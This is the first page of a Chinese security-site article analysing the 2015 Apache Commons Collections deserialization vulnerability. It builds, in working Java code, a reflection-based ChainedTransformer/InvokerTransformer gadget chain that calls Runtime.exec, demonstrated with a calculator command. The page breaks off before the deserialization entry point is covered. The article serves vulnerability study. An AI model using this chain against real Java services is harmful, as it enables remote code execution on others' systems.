欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Apache-Commons-Collections反序列化漏洞分析

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿

0×00 CommonsCollections
上篇文章讲到了Spring-tx组件出现的问题,通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE,这次研究一下另外一种漏洞,利用Java的反射机制来执行任意命令,并且通过反序列化来进行RCE。本次分析的漏洞则是2015年出现的Apache-commons-collections组件出现的反序列化问题,这个包为Java提供了很多基础常用且强大的数据结构,方便开发。
0×01 TransformedMap
看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。
TransformedMap这个类是用来对Map进行某些变换用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理。
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
通过decorate函数就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作;Transformer是一个接口,实现transform(Object input)方法即可进行实际的变换操作,按照如上代码生成transformedMap后,如果修改了其中的任意key或value,都会调用对应的transform方法去进行一些变换操作。
如果想要进行一系列的变换操作,可以通过定义一个ChainedTransformer来实现,只需要传入一个Transformer数组即可:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(...),new InvokerTransformer(...)};Transformer chainedTransformer = new ChainedTransformer(transformers);Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer);
CommonsCollections也已经内置了许多常见的transformer,无需手工编写,其中有一个InvokerTransformer十分有趣,可以通过反射的方式去调用任意的函数,也是我们执行命令的关键。
0×02 Run exec
在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令,如果我们想在修改transformedMap时执行命令,就需要构造一个特殊的ChainedTransformer来反射出exec函数。
在构造之前,我们要先看一下ChainedTransformer和InvokerTransformer是如何工作的,下面的代码会触发chainedTransformer开始进行变换:
Map normalMap = new HashMap();normalMap.put("foo", "bar");Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();entry.setValue("test");
最终会调用到org/apache/commons/collections/functors/ChainedTransformer.class中的transform方法。
可以看到这个链中,会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的object,很容易理解,就不过多赘述了。
下面来看下InvokerTransformer的关键代码:
关键部分在于通过getClass()、getMethod、 invoke()来进行反射,查找并调用给定的方法。
在我们构造的chain中,最终实现的应当是执行类似于
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig")
这样的代码,所以chain的第一步就是获取Runtime类,可以通过内置的ConstantTransformer来获取,所以chain现在是这个样子:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class)};Transformer transformChain = new ChainedTransformer(transformers);
接下来就是通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,以此来获取到Runtime.getRuntime。InvokerTransformer接受三个参数,分别是调用方法的名称,参数类型,调用参数。所以第一个参数就应当为getMethod;而getMethod方法的签名为getMethod(String, Class...),我们实际用的时候也只传入了一个String,所以第二个参数应当写为new Class[] {String.class, Class[].class},第三个参数则为调用getMethod时候实际传入的参数,所以应当为new Object[] {"getRuntime", new Class[0]}就可以了。
到这里chain已经是这个样子了:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]})};Transformer transformChain = new ChainedTransformer(transformers);
紧接着我们按照同样的方法构造出调用invoke和exec的InvokerTransformer,整个chain就完成了。
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})};Transformer transformChain = new ChainedTransformer(transformers);
我们只要构造一个使用此chain的TransformedMap,就可以执行命令了,可以通过下面的代码来进行测试:
// 创建普通的MapMap normalMap = new HashMap();normalMap.put("foo", "bar");// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chainMap transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);// 尝试修改TransformedMap中的一个值,成功执行命令Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();entry.setValue("test");
执行结果如下:
0×03 RCE?
到目前为止,我们已经构造出了可以执行命令的恶意chain,姑且称之为pocChain。现在只要找到一个符合以下条件的类,并且服务端有反序列化的入口,就可以RCE了:

[1] [2] [3]  下一页

(责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。